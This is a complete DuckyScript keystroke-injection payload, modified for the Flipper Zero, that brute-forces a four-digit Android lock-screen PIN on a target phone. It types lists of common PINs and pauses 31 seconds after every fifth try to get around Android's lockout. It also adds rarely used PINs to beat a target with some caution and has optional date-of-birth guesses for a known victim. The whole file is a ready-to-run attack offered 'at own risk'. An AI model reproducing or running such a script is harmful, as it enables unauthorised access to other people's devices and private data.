REM Android Password Brute Force - 4 digit pin
REM Every 5th attempt the retry waits to work around the 30s timeout Android implements after 5 failed login attempts
REM Uncomment bottom of script for DOB options
REM Average completion time of script is 12m
REM An exhaustive wordlist is not used because A) it is not assumed device has healthy battery B) time/power constraints of healthy battery
REM Tested on Android 4.4
REM Author: defplex.wordpress.com
REM Modified for Flipper Zero by rf-bandit
REM ***USE AT OWN RISK***

REM top 65 common pins

DELAY 500
STRING 1234
ENTER
DELAY 500
STRING 4321 
ENTER
DELAY 500
STRING 1111 
ENTER
DELAY 500
STRING 2222 
ENTER
DELAY 500
STRING 3333 
ENTER
DELAY 500
STRING x
ENTER
DELAY 31000 

DELAY 500
STRING 4444
ENTER
DELAY 500
STRING 5555
ENTER
DELAY 500
STRING 6666 
ENTER
DELAY 500
STRING 7777 
ENTER
DELAY 500
STRING 8888 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 9999 
ENTER
DELAY 500
STRING 1212 
ENTER
DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2000 
ENTER
DELAY 500
STRING 6969 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1122 
ENTER
DELAY 500
STRING 1313 
ENTER
DELAY 500
STRING 0000 
ENTER
DELAY 500
STRING 2001 
ENTER
DELAY 500
STRING 1010 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2580 
ENTER
DELAY 500
STRING 1818 
ENTER
DELAY 500
STRING 1230 
ENTER
DELAY 500
STRING 1984 
ENTER
DELAY 500
STRING 1986 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1985 
ENTER
DELAY 500
STRING 1000 
ENTER
DELAY 500
STRING 1231 
ENTER
DELAY 500
STRING 1987 
ENTER
DELAY 500
STRING 1999 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2468 
ENTER
DELAY 500
STRING 2002 
ENTER
DELAY 500
STRING 2323 
ENTER
DELAY 500
STRING 1123 
ENTER
DELAY 500
STRING 1233 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1357 
ENTER
DELAY 500
STRING 1221 
ENTER
DELAY 500
STRING 1324 
ENTER
DELAY 500
STRING 1988 
ENTER
DELAY 500
STRING 2112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2021 
ENTER
DELAY 500
STRING 5150 
ENTER
DELAY 500
STRING 1024 
ENTER
DELAY 500
STRING 1112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1004 
ENTER
DELAY 500
STRING 2021 
ENTER
DELAY 500
STRING 5150 
ENTER
DELAY 500
STRING 1024 
ENTER
DELAY 500
STRING 1112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1224 
ENTER
DELAY 500
STRING 1969 
ENTER
DELAY 500
STRING 1225 
ENTER
DELAY 500
STRING 1235 
ENTER
DELAY 500
STRING 1982 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1001 
ENTER
DELAY 500
STRING 7410 
ENTER
DELAY 500
STRING 1020 
ENTER
DELAY 500
STRING 1223 
ENTER
DELAY 500
STRING 1029 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 1515 
ENTER
DELAY 500
STRING 1213 
ENTER
DELAY 500
STRING 2345 
ENTER
DELAY 500
STRING 2424 
ENTER
DELAY 500
STRING 2525 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000
ENTER

REM Set dervived from the most commonly appearing digits over an average of 1000 most used pins (0123)

ENTER
DELAY 500
STRING 0123 
ENTER
DELAY 500
STRING 1023 
ENTER
DELAY 500
STRING 1203 
ENTER
DELAY 500
STRING 3210 
ENTER
DELAY 500
STRING 2112 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000 

DELAY 500
STRING 2121 
ENTER
DELAY 500
STRING 1320 
ENTER
DELAY 500
STRING 3110 
ENTER
DELAY 500
STRING 2111 
ENTER
DELAY 500
STRING 0321 
ENTER
DELAY 500
STRING x 
ENTER
DELAY 31000
ENTER

REMIncluding the 5 least used pins to factor in target having some OpSec

ENTER
DELAY 500
STRING 8068 
ENTER 
DELAY 500
STRING 8093 
ENTER 
DELAY 500
STRING 6835 
ENTER 
DELAY 500
STRING 9629 
ENTER 
DELAY 500
STRING 7637 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 

REM Last ditch effort with 4 sets of randomly generated pins

ENTER 
DELAY 500
STRING 6364 
ENTER 
DELAY 500
STRING 6364 
ENTER 
DELAY 500
STRING 6260 
ENTER 
DELAY 500
STRING 8647 
ENTER 
DELAY 500
STRING 0420 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 8880 
ENTER 
DELAY 500
STRING 8631 
ENTER 
DELAY 500
STRING 1121 
ENTER 
DELAY 500
STRING 2996 
ENTER 
DELAY 500
STRING 6685 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 9371 
ENTER 
DELAY 500
STRING 3417 
ENTER 
DELAY 500
STRING 9826 
ENTER 
DELAY 500
STRING 2621 
ENTER 
DELAY 500
STRING 8431 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 


ENTER 
DELAY 500
STRING 1185 
ENTER 
DELAY 500
STRING 2281 
ENTER 
DELAY 500
STRING 5519 
ENTER 
DELAY 500
STRING 8657 
ENTER 
DELAY 500
STRING 6435 
ENTER 
DELAY 500
STRING x 
ENTER 
DELAY 31000
ENTER 

REM If DOB for target is known uncomment and replace xxxx with MMDD, DDMM or YYYY
REM Left at end of script on purpose to keep everything in groups of 5

REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING xxxx 
ENTER 
REM DELAY 500
REM STRING x